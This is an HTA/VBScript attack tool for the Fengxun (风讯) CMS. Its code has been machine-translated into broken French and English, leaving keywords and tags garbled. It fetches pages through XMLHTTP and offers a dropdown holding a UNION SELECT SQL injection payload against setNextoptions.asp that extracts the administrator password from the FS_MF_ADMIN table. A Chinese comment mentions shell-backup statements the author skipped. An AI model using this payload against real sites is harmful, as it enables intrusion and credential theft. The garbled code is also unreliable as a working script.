<criptLanguage = "vbscript">
Subwindow_onload
fenêtre.Resizeto450,380
window.moveto300,300
Fin
</cript>
<criptLanguage = "vbscript">
FonctionGethTTPPAGE (PATH)
t = getbody (chemin)
GethTTPPAGE = BYTESTOBSTR (T, "GB2312")
document.getElementById ("URL"). InnerText = GethTTPPAGE
Finition de fin
</cript>
<criptLanguage = "vbscript">
FunctionGetBody (URL)
Onerrorresumenext
SetRetrieval = CreateObject ("Microsoft.xmlhttp")
Avec un peu de temps
.Open "Get", URL, false, "", ""
.Envoyer
Getbody = .Responsebody
Fin
SetRetrieval = rien
Finition de fin
FunctionByTestobstr (corps, CSET)
Dimobjstream
SetObjstream = createObject ("adodb.stream")
objstream.type = 1
objstream.mode = 3
objstream.open
objstream.writebody
objstream.position = 0
objstream.type = 2
objstream.charset = cset
ByTestObstr = objstream.readText
objstream.close
SetObjstream = rien
Finition de fin
</cript>
<Title> BYLCX </TITME>
<poudId = "urlcode" name = "urlcode" size = "60" value = "http: // 风讯 url / user / setNextoptions.asp">
<lelectId = "sql" name = "sql" onchange = vbs: gethttppage (document.getElementById ("urlcode"). valeur + document.getElementById ("sql"). valeur)>
<optionValue = ""> 风讯 SQL 版注入 ， 至于其它备份 Shell 的语句懒得写了 </popoption>
<optionValue = "? equValue = 1 & reqsql = select% 201, admin_pass_word, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51% 20from% 20FS_MF_ADMIN% 20Whers% 20id = 1 - ")"> 暴管理员密码 </ / option>